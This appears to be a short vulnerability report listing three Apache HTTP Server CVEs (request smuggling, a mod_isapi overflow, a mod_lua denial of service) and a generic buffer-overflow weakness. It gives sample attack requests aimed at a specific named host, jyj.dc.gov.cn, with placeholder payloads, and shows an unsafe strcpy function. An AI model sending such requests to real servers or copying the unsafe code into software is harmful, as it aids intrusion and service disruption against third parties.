1. HTTP Request Smuggling (CVE-2022-26377)
   - Description: Exploiting mod_proxy_ajp allows attackers to manipulate requests, potentially smuggling them to the AJP server. Crafted requests take advantage of inconsistent HTTP request interpretation.

   - Example:
     ```http
     POST /path HTTP/1.1
     Host: jyj.dc.gov.cn
     Transfer-Encoding: chunked

     0

     SMUGGLED-REQUEST
     ```

2. Buffer Overflow in mod_isapi (CVE-2022-28330)
   - Description: A buffer overflow in mod_isapi on Windows can be triggered by crafted requests designed to exceed bounds, leading to unauthorized access.

   - Example:
     ```http
     GET /path HTTP/1.1
     Host: jyj.dc.gov.cn
     Connection: Keep-Alive
     Accept-Encoding: gzip
     User-Agent: Mozilla/5.0

     BUFFER-OVERFLOW-PAYLOAD
     ```

3. Denial of Service in mod_lua r:parsebody (CVE-2022-29404)
   - Description: Malicious requests targeting Lua scripts invoking r:parsebody(0) induce a denial of service in Apache HTTP Server 2.4.53 and earlier.

   - Example:
     ```http
     POST /path HTTP/1.1
     Host: jyj.dc.gov.cn
     Content-Length: 1000000

     MALICIOUS-DATA
     ```

Furthermore, the server is susceptible to a broader vulnerability:

- Buffer Overflow Attack (CWE-119)
  - Description: Crafted data causing buffer overflows can lead to actions compromising data integrity, potentially resulting in system control and disclosure of confidential data.

  - Example:
    ```c
    void vulnerableFunction(char* input) {
        char buffer[10];
        strcpy(buffer, input); // Potential buffer overflow vulnerability
    }
    ```
